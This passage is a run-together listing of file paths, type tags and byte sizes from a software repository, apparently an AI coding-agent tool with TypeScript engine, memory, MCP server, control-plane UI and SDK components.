bytesloki-ts/src/engine10/machine.tsruns31,008 bytesloki-ts/src/engine10/modernize/cli.tsruns11,097 bytesloki-ts/src/engine10/modernize/cluster.tsruns5,451 bytesloki-ts/src/engine10/modernize/codemod.tsruns3,330 bytesloki-ts/src/engine10/modernize/dashboard.tsruns2,951 bytesloki-ts/src/engine10/modernize/equiv.tsruns18,255 bytesloki-ts/src/engine10/modernize/estimate.tsruns2,577 bytesloki-ts/src/engine10/modernize/inventory.tsruns3,394 bytesloki-ts/src/engine10/modernize/lang/java.tsruns9,155 bytesloki-ts/src/engine10/modernize/lang/python.tsruns2,691 bytesloki-ts/src/engine10/modernize/log.tsruns1,238 bytesloki-ts/src/engine10/modernize/oracle/java.tsruns9,913 bytesloki-ts/src/engine10/modernize/oracle/seal.tsruns13,110 bytesloki-ts/src/engine10/modernize/oracle/search.tsruns14,457 bytesloki-ts/src/engine10/modernize/presealed_wall.tsruns13,690 bytesloki-ts/src/engine10/modernize/report.tsruns7,993 bytesloki-ts/src/engine10/modernize/reslice.tsruns6,370 bytesloki-ts/src/engine10/modernize/resume.tsruns7,050 bytesloki-ts/src/engine10/modernize/routes.tsruns3,222 bytesloki-ts/src/engine10/modernize/scheduler.tsruns15,004 bytesloki-ts/src/engine10/modernize/ship.tsruns4,946 bytesloki-ts/src/engine10/modernize/targets/java21.tsruns2,089 bytesloki-ts/src/engine10/modernize/targets/python3.tsruns1,717 bytesloki-ts/src/engine10/modernize/types.tsruns3,836 bytesloki-ts/src/engine10/modernize/unit.tsruns20,603 bytesloki-ts/src/engine10/modernize/wave.tsruns7,900 bytesloki-ts/src/engine10/output.tsruns17,330 bytesloki-ts/src/engine10/pr_body.tsruns1,347 bytesloki-ts/src/engine10/preflight.tsruns10,036 bytesloki-ts/src/engine10/registry.tsruns2,142 bytesloki-ts/src/engine10/relevant_files.tsruns1,046 bytesloki-ts/src/engine10/repomap.tsruns3,808 bytesloki-ts/src/engine10/session.tsruns24,676 bytesloki-ts/src/engine10/sizing.tsruns10,934 bytesloki-ts/src/engine10/stages/commit.tsruns127 bytesloki-ts/src/engine10/stages/deep.tsruns19,765 bytesloki-ts/src/engine10/stages/fix.tsruns8,815 bytesloki-ts/src/engine10/stages/implement.tsruns17,086 bytesloki-ts/src/engine10/stages/intake.tsruns16,745 bytesloki-ts/src/engine10/stages/plan.tsruns10,166 bytesloki-ts/src/engine10/stages/pr.tsruns17,195 bytesloki-ts/src/engine10/stages/seal.tsruns46,593 bytesloki-ts/src/engine10/stages/verify.tsruns62,381 bytesloki-ts/src/engine10/stages/wall.tsruns37,501 bytesloki-ts/src/engine10/stages/xreview.tsruns15,501 bytesloki-ts/src/engine10/supervisor.tsruns57,259 bytesloki-ts/src/engine10/testmap.tsruns12,178 bytesloki-ts/src/engine10/types.tsruns20,068 bytesloki-ts/src/engine10/verify_cmd.tsruns34,539 bytesloki-ts/src/engine10/worker.tsruns9,734 bytesloki-ts/src/features/attempts.tsruns10,202 bytesloki-ts/src/features/blocked_answer.tsruns5,382 bytesloki-ts/src/features/contract.tsruns23,793 bytesloki-ts/src/features/decompose.tsruns11,306 bytesloki-ts/src/features/dependents.tsruns4,909 bytesloki-ts/src/features/lean_prefix.tsruns2,165 bytesloki-ts/src/features/receipt_dsse.tsruns10,952 bytesloki-ts/src/features/runner_config.tsruns22,385 bytesloki-ts/src/features/spec_ambiguity.tsruns4,872 bytesloki-ts/src/features/speed/already_done_async.tsruns5,982 bytesloki-ts/src/features/speed/decompose_check.tsruns5,785 bytesloki-ts/src/features/speed/fix_units.tsruns6,392 bytesloki-ts/src/features/speed/group_grid.tsruns2,550 bytesloki-ts/src/features/speed/group_output.tsruns5,360 bytesloki-ts/src/features/speed/lean_select.tsruns1,939 bytesloki-ts/src/features/speed/route.tsruns9,499 bytesloki-ts/src/features/speed/run_group.tsruns30,130 bytesloki-ts/src/features/speed/seal_group.tsruns11,882 bytesloki-ts/src/features/speed/unit_mode.tsruns9,431 bytesloki-ts/src/features/tracker_intake.tsruns17,563 bytesloki-ts/src/features/triage.tsruns8,882 bytesloki-ts/src/features/untouched_untracked.tsruns1,095 bytesloki-ts/src/features/visual_evidence.tsruns19,845 bytesloki-ts/src/features/wall_manifest.tsruns14,299 bytesloki-ts/src/features/wall_manifest_wire.tsruns6,580 bytesloki-ts/src/features/warm.tsruns5,916 bytesloki-ts/src/features/warm_client.tsruns2,869 bytesloki-ts/src/integrations/before_after.tsruns6,455 bytesloki-ts/src/integrations/writeback.tsruns5,330 bytesloki-ts/src/metrics/kpis.tsruns21,167 bytesloki-ts/src/metrics/trust.tsruns25,418 bytesloki-ts/src/project_graph.tsruns9,388 bytesloki-ts/src/project_model/api.tsruns3,773 bytesloki-ts/src/project_model/conventions.tsruns48,796 bytesloki-ts/src/project_model/discover.tsruns17,867 bytesloki-ts/src/project_model/gather.tsruns6,257 bytesloki-ts/src/project_model/graph.tsruns1,348 bytesloki-ts/src/project_model/install.tsruns24,656 bytesloki-ts/src/project_model/linguist.tsruns7,580 bytesloki-ts/src/project_model/linguist_rules.jsonasset7,069 bytesloki-ts/src/project_model/package_suite.tsruns9,767 bytesloki-ts/src/project_model/resolve.tsruns2,811 bytesloki-ts/src/project_model/schema.tsruns10,196 bytesloki-ts/src/project_model/scope.tsruns3,691 bytesloki-ts/src/providers/claude_flags.tsruns59,409 bytesloki-ts/src/providers/mcp_config.tsruns10,781 bytesloki-ts/src/providers/model_routes.tsruns9,611 bytesloki-ts/src/providers/price_table.tsruns5,955 bytesloki-ts/src/providers/provider_cost.tsruns11,678 bytesloki-ts/src/providers/provider_guard.tsruns13,131 bytesloki-ts/src/runner/attempts.tsruns21,945 bytesloki-ts/src/runner/budget.tsruns24,101 bytesloki-ts/src/runner/checkpoint.tsruns28,539 bytesloki-ts/src/runner/counter_evidence.tsruns11,775 bytesloki-ts/src/runner/crash.tsruns10,143 bytesloki-ts/src/runner/engine10_dashboard.tsruns16,154 bytesloki-ts/src/runner/episode_bridge.tsruns4,219 bytesloki-ts/src/runner/escalation_handoff.tsruns7,463 bytesloki-ts/src/runner/exec_manifest.tsruns8,622 bytesloki-ts/src/runner/findings_injector.tsruns7,813 bytesloki-ts/src/runner/github_token.tsruns10,927 bytesloki-ts/src/runner/host_guard.tsruns11,702 bytesloki-ts/src/runner/learnings_writer.tsruns10,684 bytesloki-ts/src/runner/load_owner.tsruns9,281 bytesloki-ts/src/runner/model_downgrades.tsruns3,154 bytesloki-ts/src/runner/model_rank.tsruns4,592 bytesloki-ts/src/runner/oauth_dev.tsruns3,903 bytesloki-ts/src/runner/provider_failover.tsruns4,184 bytesloki-ts/src/runner/provider_opencode.tsruns2,407 bytesloki-ts/src/runner/providers.tsruns54,221 bytesloki-ts/src/runner/repo_profile.tsruns47,004 bytesloki-ts/src/runner/retry_class.tsruns11,799 bytesloki-ts/src/runner/router/advisor_probe.tsruns4,215 bytesloki-ts/src/runner/router/cost_preview.tsruns13,463 bytesloki-ts/src/runner/router/decision.tsruns11,685 bytesloki-ts/src/runner/router/flag.tsruns2,792 bytesloki-ts/src/runner/router/history.tsruns9,725 bytesloki-ts/src/runner/router/history_store.tsruns6,525 bytesloki-ts/src/runner/router/implement_route.tsruns2,507 bytesloki-ts/src/runner/router/plan_route.tsruns5,527 bytesloki-ts/src/runner/router/route_block.tsruns11,286 bytesloki-ts/src/runner/router/route_record.tsruns3,436 bytesloki-ts/src/runner/router/session_route.tsruns2,550 bytesloki-ts/src/runner/router/unit_model.tsruns9,146 bytesloki-ts/src/runner/runner_errors.tsruns4,315 bytesloki-ts/src/runner/sdk_invoker.tsruns24,068 bytesloki-ts/src/runner/sdk_mode.tsruns4,282 bytesloki-ts/src/runner/sdk_stream_parser.tsruns42,721 bytesloki-ts/src/runner/session_resume.tsruns13,091 bytesloki-ts/src/runner/state.tsruns25,714 bytesloki-ts/src/runner/stop_checks.tsruns8,537 bytesloki-ts/src/runner/trim.tsruns6,485 bytesloki-ts/src/runner/types.tsruns4,454 bytesloki-ts/src/runner/watchdog.tsruns2,756 bytesloki-ts/src/runner/worker_proc.tsruns10,819 bytesloki-ts/src/supply/supply_guard.tsruns15,397 bytesloki-ts/src/util/already_done_evidence.tsruns9,584 bytesloki-ts/src/util/anti_loop.tsruns4,539 bytesloki-ts/src/util/app_probe.tsruns7,381 bytesloki-ts/src/util/atomic.tsruns14,525 bytesloki-ts/src/util/base_guard.tsruns38,110 bytesloki-ts/src/util/check_result.tsruns180,925 bytesloki-ts/src/util/child_ledger.tsruns15,381 bytesloki-ts/src/util/claude_model.tsruns8,081 bytesloki-ts/src/util/colors.tsruns1,299 bytesloki-ts/src/util/composite_seal.tsruns13,486 bytesloki-ts/src/util/conflict_resume.tsruns36,618 bytesloki-ts/src/util/context_pack.tsruns26,392 bytesloki-ts/src/util/cost_breakdown.tsruns14,527 bytesloki-ts/src/util/cost_profile.tsruns2,827 bytesloki-ts/src/util/credential_env.tsruns5,102 bytesloki-ts/src/util/dashboard_page.tsruns8,783 bytesloki-ts/src/util/deprecated_alias.tsruns2,200 bytesloki-ts/src/util/dotnet_test.tsruns4,859 bytesloki-ts/src/util/engine_origin.tsruns6,521 bytesloki-ts/src/util/failure_memory.tsruns7,682 bytesloki-ts/src/util/first_run_repo.tsruns3,378 bytesloki-ts/src/util/funnel.tsruns11,617 bytesloki-ts/src/util/group_integrate.tsruns4,735 bytesloki-ts/src/util/holdout.tsruns7,154 bytesloki-ts/src/util/intent_card.tsruns8,985 bytesloki-ts/src/util/js_resolve.tsruns4,461 bytesloki-ts/src/util/lock_ecosystems.tsruns22,959 bytesloki-ts/src/util/modernize_coordinator.tsruns19,413 bytesloki-ts/src/util/modernize_unit.tsruns21,497 bytesloki-ts/src/util/mutation_proof.tsruns9,280 bytesloki-ts/src/util/one_line_goal.tsruns4,109 bytesloki-ts/src/util/outbox.tsruns2,432 bytesloki-ts/src/util/paths.tsruns1,987 bytesloki-ts/src/util/pr_lessons.tsruns63,831 bytesloki-ts/src/util/producer_fingerprint.tsruns1,996 bytesloki-ts/src/util/python.tsruns24,740 bytesloki-ts/src/util/python_build_check.tsruns9,090 bytesloki-ts/src/util/receipt_bundle.tsruns17,930 bytesloki-ts/src/util/receipt_signer.tsruns27,657 bytesloki-ts/src/util/receipt_surface.tsruns6,665 bytesloki-ts/src/util/redact.tsruns10,765 bytesloki-ts/src/util/relevance.tsruns5,314 bytesloki-ts/src/util/reviewer_brief.tsruns20,778 bytesloki-ts/src/util/run_cap.tsruns7,259 bytesloki-ts/src/util/run_control.tsruns3,927 bytesloki-ts/src/util/run_identity.tsruns4,875 bytesloki-ts/src/util/run_outputs.tsruns79,446 bytesloki-ts/src/util/run_pid.tsruns5,576 bytesloki-ts/src/util/run_shape.tsruns726 bytesloki-ts/src/util/run_summary.tsruns25,582 bytesloki-ts/src/util/runner_boot.tsruns1,503 bytesloki-ts/src/util/safe_git.tsruns31,191 bytesloki-ts/src/util/satisfaction.tsruns3,158 bytesloki-ts/src/util/seal_drift.tsruns22,712 bytesloki-ts/src/util/secure_scan.tsruns15,947 bytesloki-ts/src/util/shell.tsruns7,889 bytesloki-ts/src/util/skill_checks.tsruns6,804 bytesloki-ts/src/util/slack_events.tsruns6,257 bytesloki-ts/src/util/spec_file.tsruns24,134 bytesloki-ts/src/util/stack_tools.tsruns8,619 bytesloki-ts/src/util/steer.tsruns19,498 bytesloki-ts/src/util/term_width.tsruns4,576 bytesloki-ts/src/util/test_file_text.tsruns12,273 bytesloki-ts/src/util/test_guard.tsruns4,168 bytesloki-ts/src/util/tier.tsruns2,343 bytesloki-ts/src/util/ts_signatures.tsruns23,270 bytesloki-ts/src/util/update_check.tsruns14,196 bytesloki-ts/src/util/wall_cases.tsruns21,471 bytesloki-ts/src/util/wall_knobs.tsruns2,041 bytesloki-ts/src/util/wall_owned.tsruns7,798 bytesloki-ts/src/util/yaml_key.tsruns2,962 bytesloki-ts/src/version.tsruns1,644 bytesloki-ts/tests/fixtures/cli-registry-known-gaps.txtdoc2,555 bytesloki-ts/tsconfig.jsonasset633 byteslokistore/__init__.pyruns2,407 byteslokistore/base.pyruns5,950 byteslokistore/cloud.pyruns12,739 byteslokistore/factory.pyruns7,214 byteslokistore/local.pyruns9,003 bytesmagic/__init__.pyruns241 bytesmagic/core/__init__.pyruns0 bytesmagic/core/debate.pyruns29,504 bytesmagic/core/design_tokens.pyruns16,337 bytesmagic/core/freshness.pyruns2,643 bytesmagic/core/generator.pyruns28,526 bytesmagic/core/memory_bridge.pyruns7,744 bytesmagic/core/prd_scanner.pyruns8,869 bytesmagic/core/registry.pyruns12,349 bytesmagic/core/spec.pyruns11,316 bytesmagic/debate/personas/a11y.mddoc5,047 bytesmagic/debate/personas/conservative.mddoc4,022 bytesmagic/debate/personas/creative.mddoc3,590 bytesmagic/debate/personas/performance.mddoc4,963 bytesmagic/registry/schema.jsonasset1,461 bytesmagic/tokens/README.mddoc2,593 bytesmagic/tokens/defaults.jsonasset1,374 bytesmcp/__init__.pyruns2,918 bytesmcp/_sdk_loader.pyruns7,042 bytesmcp/cp_tools.pyruns15,254 bytesmcp/learning_collector.pyruns21,911 bytesmcp/lsp_proxy.pyruns71,753 bytesmcp/magic_tools.pyruns15,296 bytesmcp/managed_tools.pyruns8,646 bytesmcp/requirements.txtdoc480 bytesmcp/server.pyruns152,926 bytesmcp/v10_tools.pyruns13,757 bytesmemory/__init__.pyruns3,294 bytesmemory/app_graph.pyruns6,118 bytesmemory/consolidation.pyruns43,379 bytesmemory/cross_project.pyruns6,570 bytesmemory/embeddings.pyruns55,293 bytesmemory/engine.pyruns61,963 bytesmemory/error_log.pyruns7,062 bytesmemory/ingest.pyruns21,494 bytesmemory/knowledge_graph.pyruns10,272 bytesmemory/layers/__init__.pyruns737 bytesmemory/layers/index_layer.pyruns10,619 bytesmemory/layers/loader.pyruns12,657 bytesmemory/layers/timeline_layer.pyruns10,366 bytesmemory/managed_memory/__init__.pyruns4,270 bytesmemory/managed_memory/_beta.pyruns458 bytesmemory/managed_memory/client.pyruns12,291 bytesmemory/managed_memory/events.pyruns4,666 bytesmemory/managed_memory/fakes.pyruns5,147 bytesmemory/managed_memory/retrieve.pyruns19,683 bytesmemory/managed_memory/shadow_write.pyruns12,704 bytesmemory/namespace.pyruns19,616 bytesmemory/replay.pyruns7,746 bytesmemory/retrieval.pyruns81,485 bytesmemory/schemas.pyruns36,229 bytesmemory/storage.pyruns83,384 bytesmemory/token_economics.pyruns24,216 bytesmemory/unified_access.pyruns20,772 bytesmemory/vector_index.pyruns18,383 bytespackage-lock.jsonasset219,756 bytespackage.jsonruns4,748 bytespackages/control-plane/.gitignoreasset17 bytespackages/control-plane/bun.lockasset43,413 bytespackages/control-plane/drizzle/0000_new_maelstrom.sqlasset1,406 bytespackages/control-plane/drizzle/0001_group_id.sqlasset177 bytespackages/control-plane/drizzle/0002_tiresome_fixer.sqlasset170 bytespackages/control-plane/drizzle/0003_integrity.sqlasset258 bytespackages/control-plane/drizzle/0004_cpe03_local_repos_actions.sqlasset493 bytespackages/control-plane/drizzle/0005_ask.sqlasset1,323 bytespackages/control-plane/drizzle/0006_token_sessions.sqlasset49 bytespackages/control-plane/drizzle/0007_outcome_metrics.sqlasset813 bytespackages/control-plane/drizzle/meta/0000_snapshot.jsonasset8,410 bytespackages/control-plane/drizzle/meta/0001_snapshot.jsonasset8,924 bytespackages/control-plane/drizzle/meta/0002_snapshot.jsonasset9,999 bytespackages/control-plane/drizzle/meta/0003_snapshot.jsonasset10,770 bytespackages/control-plane/drizzle/meta/0004_snapshot.jsonasset13,300 bytespackages/control-plane/drizzle/meta/0005_snapshot.jsonasset19,756 bytespackages/control-plane/drizzle/meta/0006_snapshot.jsonasset19,952 bytespackages/control-plane/drizzle/meta/0007_snapshot.jsonasset21,007 bytespackages/control-plane/drizzle/meta/_journal.jsonasset1,187 bytespackages/control-plane/package.jsonruns875 bytespackages/control-plane/src/ask/invoke.tsruns1,627 bytespackages/control-plane/src/ask/parse.tsruns4,303 bytespackages/control-plane/src/ask/policy.tsruns5,230 bytespackages/control-plane/src/ask/prompt.tsruns2,236 bytespackages/control-plane/src/ask/store.tsruns5,515 bytespackages/control-plane/src/ask/tools.tsruns6,431 bytespackages/control-plane/src/ask/tools_server.tsruns3,608 bytespackages/control-plane/src/ask/worker.tsruns7,455 bytespackages/control-plane/src/db/fixture-cleanup.tsruns4,173 bytespackages/control-plane/src/db/migrate.tsruns1,218 bytespackages/control-plane/src/db/prune.tsruns5,294 bytespackages/control-plane/src/db/schema.tsruns5,796 bytespackages/control-plane/src/server/answer.tsruns2,131 bytespackages/control-plane/src/server/app.tsruns9,291 bytespackages/control-plane/src/server/audit.tsruns806 bytespackages/control-plane/src/server/auth.tsruns3,316 bytespackages/control-plane/src/server/diffstat.tsruns4,380 bytespackages/control-plane/src/server/ingest.tsruns4,258 bytespackages/control-plane/src/server/integrity.tsruns14,326 bytespackages/control-plane/src/server/legacy/routes-audit.tsruns3,654 bytespackages/control-plane/src/server/legacy/routes-control.tsruns2,687 bytespackages/control-plane/src/server/legacy/routes-memory.tsruns2,369 bytespackages/control-plane/src/server/legacy/routes-metrics.tsruns1,238 bytespackages/control-plane/src/server/legacy/routes.tsruns23,957 bytespackages/control-plane/src/server/legacy/shim.tsruns12,240 bytespackages/control-plane/src/server/reconcile.tsruns1,982 bytespackages/control-plane/src/server/repos.tsruns4,218 bytespackages/control-plane/src/server/routes/artifacts.tsruns6,022 bytespackages/control-plane/src/server/routes/ask.tsruns9,052 bytespackages/control-plane/src/server/routes/audit.tsruns1,015 bytespackages/control-plane/src/server/routes/checkpoints.tsruns11,780 bytespackages/control-plane/src/server/routes/config.tsruns18,195 bytespackages/control-plane/src/server/routes/control.tsruns5,447 bytespackages/control-plane/src/server/routes/cost.tsruns5,663 bytespackages/control-plane/src/server/routes/cost_ledger.tsruns11,654 bytespackages/control-plane/src/server/routes/doctor.tsruns3,931 bytespackages/control-plane/src/server/routes/fleet.tsruns5,607 bytespackages/control-plane/src/server/routes/index.tsruns3,754 bytespackages/control-plane/src/server/routes/integrations.tsruns6,369 bytespackages/control-plane/src/server/routes/memory.tsruns13,888 bytespackages/control-plane/src/server/routes/merge_risk.tsruns14,081 bytespackages/control-plane/src/server/routes/metrics.tsruns5,782 bytespackages/control-plane/src/server/routes/notify.tsruns3,041 bytespackages/control-plane/src/server/routes/providers.tsruns5,093 bytespackages/control-plane/src/server/routes/session_control.tsruns9,562 bytespackages/control-plane/src/server/routes/start.tsruns2,587 bytespackages/control-plane/src/server/routes/stats.tsruns15,455 bytespackages/control-plane/src/server/routes/stream.tsruns5,405 bytespackages/control-plane/src/server/routes/verify.tsruns4,597 bytespackages/control-plane/src/server/runs.tsruns15,360 bytespackages/control-plane/src/server/serve.tsruns1,530 bytespackages/control-plane/src/server/spawn.tsruns8,069 bytespackages/control-plane/src/shipper/backfill.tsruns1,616 bytespackages/control-plane/src/shipper/discover.tsruns4,742 bytespackages/control-plane/src/shipper/ship.tsruns5,223 bytespackages/control-plane/src/shipper/watch.tsruns3,308 bytespackages/control-plane/tsconfig.jsonasset198 bytespackages/control-plane/ui/bun.lockasset46,655 bytespackages/control-plane/ui/index.htmlasset296 bytespackages/control-plane/ui/package.jsonruns674 bytespackages/control-plane/ui/postcss.config.jsruns67 bytespackages/control-plane/ui/src/App.tsxruns16,663 bytespackages/control-plane/ui/src/Live.tsxruns11,678 bytespackages/control-plane/ui/src/Shell.tsxruns4,875 bytespackages/control-plane/ui/src/api.tsruns11,183 bytespackages/control-plane/ui/src/design/fonts.cssasset221 bytespackages/control-plane/ui/src/design/primitives/index.tsxruns22,006 bytespackages/control-plane/ui/src/design/tailwind.preset.tsruns1,725 bytespackages/control-plane/ui/src/design/tokens.cssasset7,541 bytespackages/control-plane/ui/src/display.tsruns2,354 bytespackages/control-plane/ui/src/format.tsruns316 bytespackages/control-plane/ui/src/index.cssasset2,475 bytespackages/control-plane/ui/src/main.tsxruns278 bytespackages/control-plane/ui/src/pages/ask/api.tsruns5,959 bytespackages/control-plane/ui/src/pages/ask/index.tsxruns8,742 bytespackages/control-plane/ui/src/pages/board/Board.tsxruns3,913 bytespackages/control-plane/ui/src/pages/board/columns.tsruns760 bytespackages/control-plane/ui/src/pages/board/index.tsxruns208 bytespackages/control-plane/ui/src/pages/compose/api.tsruns2,270 bytespackages/control-plane/ui/src/pages/compose/index.tsxruns9,453 bytespackages/control-plane/ui/src/pages/compose/store.tsruns896 bytespackages/control-plane/ui/src/pages/cost/data.tsruns1,233 bytespackages/control-plane/ui/src/pages/cost/index.tsxruns5,027 bytespackages/control-plane/ui/src/pages/home/Home.tsxruns8,580 bytespackages/control-plane/ui/src/pages/home/index.tsxruns119 bytespackages/control-plane/ui/src/pages/integrations/index.tsxruns4,907 bytespackages/control-plane/ui/src/pages/merge/index.tsxruns7,050 bytespackages/control-plane/ui/src/pages/models/index.tsxruns3,353 bytespackages/control-plane/ui/src/pages/plans/Plans.tsxruns5,498 bytespackages/control-plane/ui/src/pages/plans/api.tsruns1,287 bytespackages/control-plane/ui/src/pages/plans/index.tsxruns313 bytespackages/control-plane/ui/src/pages/plans/logic.tsruns7,922 bytespackages/control-plane/ui/src/pages/receipts/Receipts.tsxruns4,283 bytespackages/control-plane/ui/src/pages/receipts/api.tsruns2,358 bytespackages/control-plane/ui/src/pages/receipts/index.tsxruns139 bytespackages/control-plane/ui/src/pages/registry.tsruns2,643 bytespackages/control-plane/ui/src/pages/risk/index.tsxruns3,733 bytespackages/control-plane/ui/src/pages/run-controls/index.tsxruns4,148 bytespackages/control-plane/ui/src/pages/run/facts.tsruns7,392 bytespackages/control-plane/ui/src/pages/run/index.tsxruns29,590 bytespackages/control-plane/ui/src/pages/run/model.tsruns7,384 bytespackages/control-plane/ui/src/pages/run/stream.tsruns3,190 bytespackages/control-plane/ui/src/pages/run/timeline.tsruns6,365 bytespackages/control-plane/ui/src/pages/runs/Lists.tsxruns5,414 bytespackages/control-plane/ui/src/pages/runs/OutcomeChip.tsxruns653 bytespackages/control-plane/ui/src/pages/runs/data.tsruns1,448 bytespackages/control-plane/ui/src/pages/runs/index.tsxruns7,375 bytespackages/control-plane/ui/src/pages/runs/issues.tsruns5,649 bytespackages/control-plane/ui/src/pages/settings/config-api.tsruns1,897 bytespackages/control-plane/ui/src/pages/settings/index.tsxruns11,911 bytespackages/control-plane/ui/src/pages/wired.tsxruns2,689 bytespackages/control-plane/ui/src/pages/workspaces/Workspaces.tsxruns5,306 bytespackages/control-plane/ui/src/pages/workspaces/index.tsxruns151 bytespackages/control-plane/ui/src/pages/workspaces/logic.tsruns2,777 bytespackages/control-plane/ui/src/palette/index.tsxruns6,389 bytespackages/control-plane/ui/src/palette/items.tsruns2,406 bytespackages/control-plane/ui/src/shell/AppShell.tsxruns8,939 bytespackages/control-plane/ui/src/shell/Mascot.tsxruns1,021 bytespackages/control-plane/ui/src/shell/hooks.tsruns454 bytespackages/control-plane/ui/src/shell/theme.tsruns2,089 bytespackages/control-plane/ui/tailwind.config.jsruns227 bytespackages/control-plane/ui/tsconfig.jsonasset273 bytespackages/control-plane/ui/vite.config.tsruns266 bytespackages/loki-seal/.claude-plugin/marketplace.jsonasset583 bytespackages/loki-seal/.claude-plugin/plugin.jsonasset615 bytespackages/loki-seal/README.mddoc12,719 bytespackages/loki-seal/SUBMIT.mddoc4,491 bytespackages/loki-seal/bin/contract.jsruns17,530 bytespackages/loki-seal/bin/loki-seal.jsruns37,277 bytespackages/loki-seal/demo/demo.tapeasset865 bytespackages/loki-seal/demo/dry-run.shruns845 bytespackages/loki-seal/demo/setup.shruns1,435 bytespackages/loki-seal/hooks/hooks.jsonasset391 bytesplugins/loki-mode/.claude-plugin/plugin.jsonasset859 bytesplugins/loki-mode/.mcp.jsonasset185 bytesplugins/loki-mode/README.mddoc5,285 bytesplugins/loki-mode/commands/handoff.mddoc501 bytesplugins/loki-mode/commands/loki-grill.mddoc1,744 bytesplugins/loki-mode/commands/loki-spec-status.mddoc1,752 bytesplugins/loki-mode/commands/loki-verify.mddoc2,140 bytesplugins/loki-mode/commands/start.mddoc1,191 bytesplugins/loki-mode/hooks/hooks.jsonasset474 bytesplugins/loki-mode/scripts/loki-guard.shruns3,771 bytesplugins/loki-mode/scripts/loki-stop-verify.shruns2,838 bytesproviders/claude.shruns39,245 bytesproviders/loader.shruns9,527 bytesproviders/managed.pyruns33,715 bytesproviders/model_catalog.jsonasset11,064 bytesproviders/model_route_exec.shruns856 bytesproviders/model_routes.shruns8,402 bytesproviders/models.shruns10,281 bytesproviders/opencode.shruns7,878 bytesreferences/advanced-patterns.mddoc15,136 bytesreferences/agent-types.mddoc32,786 bytesreferences/business-ops.mddoc11,802 bytesreferences/confidence-routing.mddoc10,910 bytesreferences/core-workflow.mddoc11,247 bytesreferences/cursor-learnings.mddoc5,536 bytesreferences/deployment.mddoc14,297 bytesreferences/design-archetypes.mddoc6,249 bytesreferences/invariant-checks.mddoc5,738 bytesreferences/lab-research-patterns.mddoc17,564 bytesreferences/legacy-healing-patterns.mddoc15,430 bytesreferences/magic-modules-patterns.mddoc21,839 bytesreferences/magic-rarv-integration.mddoc4,345 bytesreferences/mcp-integration.mddoc9,976 bytesreferences/memory-system.mddoc49,326 bytesreferences/openai-patterns.mddoc17,153 bytesreferences/prompt-repetition.mddoc5,461 bytesreferences/quality-control.mddoc11,994 bytesreferences/sdk-mode.mddoc5,189 bytesreferences/sdlc-phases.mddoc9,518 bytesreferences/task-queue.mddoc9,145 bytesreferences/tool-orchestration.mddoc22,635 bytesschemas/features.schema.jsonasset2,072 bytesschemas/loki-yaml.schema.jsonasset4,768 bytesschemas/manifest.schema.jsonasset2,237 bytesschemas/migration-plan.schema.jsonasset3,358 bytesschemas/outcome-contract.schema.jsonasset2,426 bytesschemas/seams.schema.jsonasset2,576 bytesschemas/status-result.schema.jsonasset1,054 bytesschemas/why-result.schema.jsonasset2,322 bytesscripts/cp-closure.pyruns1,275 bytesscripts/dep-inventory.pyruns74,877 bytesscripts/dogfood-stats.shruns4,439 bytesscripts/generate-stale-zero.shruns4,282 bytesscripts/global-guards.tsvasset1,492 bytesscripts/install-gitleaks.shruns5,568 bytesscripts/install-hooks.shruns769 bytesscripts/local-ci.shruns2,153 bytesscripts/loki-wrapper.shruns9,955 bytesscripts/measure-run.shruns6,913 bytesscripts/npm-dist-tags.shruns3,907 bytesscripts/release-notes.shruns7,906 bytesscripts/release.shruns41,597 bytesscripts/select-tests.shruns38,023 bytesscripts/skill-toc.shruns2,856 bytesscripts/smoke-install.shruns10,290 bytesscripts/sync-to-vibe-kanban.shruns5,872 bytesscripts/update-changelog.shruns5,983 bytesscripts/usage-governor.pyruns60,150 bytesscripts/verify-pr-sandbox.shruns10,130 bytesscripts/vibe-sync-watcher.shruns3,281 bytesscripts/vpr-pytest-boot/loki_vpr_boot.pyruns9,010 bytesscripts/vpr-pytest-boot/loki_vpr_plugin.pyruns1,823 bytesscripts/vpr-pytest-boot/loki_vpr_site.pyruns640 bytessdk/python/LICENSEasset6,658 bytessdk/python/README.mddoc1,207 bytessdk/python/loki_mode_sdk/__init__.pyruns905 bytessdk/python/loki_mode_sdk/auth.pyruns543 bytessdk/python/loki_mode_sdk/client.pyruns10,702 bytessdk/python/loki_mode_sdk/events.pyruns973 bytessdk/python/loki_mode_sdk/sessions.pyruns896 bytessdk/python/loki_mode_sdk/tasks.pyruns2,244 bytessdk/python/loki_mode_sdk/types.pyruns4,704 bytessdk/python/pyproject.tomlasset1,769 bytessdk/typescript/.npmignoreasset71 bytessdk/typescript/LICENSEasset6,658 bytessdk/typescript/README.mddoc1,306 bytessdk/typescript/dist/audit.d.tsruns517 bytessdk/typescript/dist/audit.d.ts.mapasset186 bytessdk/typescript/dist/audit.jsruns509 bytessdk/typescript/dist/audit.js.mapasset121 bytessdk/typescript/dist/client.d.tsruns1,894 bytessdk/typescript/dist/client.d.ts.mapasset2,017 bytessdk/typescript/dist/client.jsruns8,009 bytessdk/typescript/dist/client.js.mapasset6,523 bytessdk/typescript/dist/errors.d.tsruns976 bytessdk/typescript/dist/errors.d.ts.mapasset629 bytessdk/typescript/dist/errors.jsruns1,913 bytessdk/typescript/dist/errors.js.mapasset1,122 bytessdk/typescript/dist/index.d.tsruns692 bytessdk/typescript/dist/index.d.ts.mapasset385 bytessdk/typescript/dist/index.jsruns1,546 bytessdk/typescript/dist/index.js.mapasset301 bytessdk/typescript/dist/runs.d.tsruns588 bytessdk/typescript/dist/runs.d.ts.mapasset173 bytessdk/typescript/dist/runs.jsruns614 bytessdk/typescript/dist/runs.js.mapasset122 bytessdk/typescript/dist/tenants.d.tsruns568 bytessdk/typescript/dist/tenants.d.ts.mapasset168 bytessdk/typescript/dist/tenants.jsruns601 bytessdk/typescript/dist/tenants.js.mapasset127 bytessdk/typescript/dist/types.d.tsruns1,629 bytessdk/typescript/dist/types.d.ts.mapasset1,888 bytessdk/typescript/dist/types.jsruns216 bytessdk/typescript/dist/types.js.mapasset115 bytessdk/typescript/package-lock.jsonasset785 bytessdk/typescript/package.jsonruns1,132 bytessdk/typescript/scripts/normalize-package-permissions.mjsruns1,135 bytessdk/typescript/src/audit.tsruns483 bytessdk/typescript/src/client.tsruns8,520 bytessdk/typescript/src/errors.tsruns1,505 bytessdk/typescript/src/index.tsruns724 bytessdk/typescript/src/runs.tsruns555 bytessdk/typescript/src/tenants.tsruns532 bytessdk/typescript/src/types.tsruns1,498 bytessdk/typescript/tsconfig.jsonasset458 bytesserver.jsonasset869 bytesskills/agents.mddoc9,513 bytesskills/artifacts.mddoc4,858 bytesskills/compound-learning.mddoc10,463 bytesskills/documentation.mddoc5,015 